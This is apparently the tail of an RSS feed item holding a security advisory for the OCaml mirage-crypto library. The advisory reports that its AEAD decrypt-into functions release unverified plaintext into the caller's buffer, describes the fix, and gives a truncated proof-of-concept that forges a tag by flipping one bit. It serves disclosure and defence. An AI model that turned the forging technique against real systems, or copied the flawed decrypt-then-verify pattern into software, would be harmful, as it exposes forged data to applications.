&lt;p&gt;On the generic GCM path, `AES.GCM.authenticate_decrypt_into` (as well as `Chacha20.authenticate_decrypt_into` and `AES.CCM16.authenticate_decrypt_into`) writes the decrypted plaintext into the caller&amp;#39;s destination buffer and only then compares the tag. On a forged tag the function returns false, but the destination buffer already holds the full plaintext. AEAD decryption is meant to be all-or-nothing: no plaintext should be released until the tag verifies. This is a release of unverified plaintext, and a caller that reads the buffer without first checking the return value sees forged-but-decrypted data. RustCrypto&amp;#39;s aes-gcm fixed the same defect in CVE-2023-42811 (rated medium) by re-encrypting the buffer on tag failure.&lt;/p&gt;
&lt;p&gt;## Solution&lt;/p&gt;
&lt;p&gt;The tag is validated first, and only if the tag is valid, the decryption into the provided buffer is done. In the CCM code, the tag is computed over the plaintext - if the tag validation fails, the provided buffer is zeroed.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;```OCaml
module GCM = Mirage_crypto.AES.GCM&lt;/p&gt;
&lt;p&gt;let () =
  let key = GCM.of_secret (String.make 32 &amp;#39;\x00&amp;#39;) in
  let nonce = String.make 12 &amp;#39;\x00&amp;#39; in
  let secret = &amp;#34;let password = 42&amp;#34; in
  let len = String.length secret in
  let blob = GCM.authenticate_encrypt ~key ~nonce secret in
  (* flip one bit of the 16-byte tag (at offset len); the ciphertext is untouched *)
  let forged = Bytes.of_string blob in
  Bytes.set forged len (Char.chr (Char.code (Bytes.get forged len) lxor 1));
  let forged = Bytes.unsafe_to…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto&lt;/p&gt;
&lt;p&gt;On the generic GCM path, `AES.GCM.authenticate_decrypt_into` (as well as `Chacha20.authenticate_decrypt_into` and `AES.CCM16.authenticate_decrypt_into`) writes the decrypted plaintext into the caller&amp;#39;s destination buffer and only then compares the tag. On a forged tag the function returns false, but the destination buffer already holds the full plaintext. AEAD decryption is meant to be all-or-nothing: no plaintext should be released until the tag verifies. This is a release of unverified plaintext, and a caller that reads the buffer without first checking the return value sees forged-but-decrypted data. RustCrypto&amp;#39;s aes-gcm fixed the same defect in CVE-2023-42811 (rated medium) by re-encrypting the buffer on tag failure.&lt;/p&gt;
&lt;p&gt;## Solution&lt;/p&gt;
&lt;p&gt;The tag is validated first, and only if the tag is valid, the decryption into the provided buffer is done. In the CCM code, the tag is computed over the plaintext - if the tag validation fails, the provided buffer is zeroed.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;```OCaml
module GCM = Mirage_crypto.AES.GCM&lt;/p&gt;
&lt;p&gt;let () =
  let key = GCM.of_secret (String.make 32 &amp;#39;\x00&amp;#39;) in
  let nonce = String.make 12 &amp;#39;\x00&amp;#39; in
  let secret = &amp;#34;let password = 42&amp;#34; in
  let len = String.length secret in
  let blob = GCM.authenticate_encrypt ~key ~nonce secret in
  (* flip one bit of the 16-byte tag (at offset len); the ciphertext is untouched *)
  let forged = Bytes.of_string blob in
  Bytes.set forged len (Char.chr (Char.code (Bytes.get forged len) lxor 1));
  let forged = Bytes.unsafe_to…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-12</guid>
      <pubDate>Mon, 27 Jul 2026 19:00:00 +0000</pubDate>
    </item>
  </channel>
</rss>
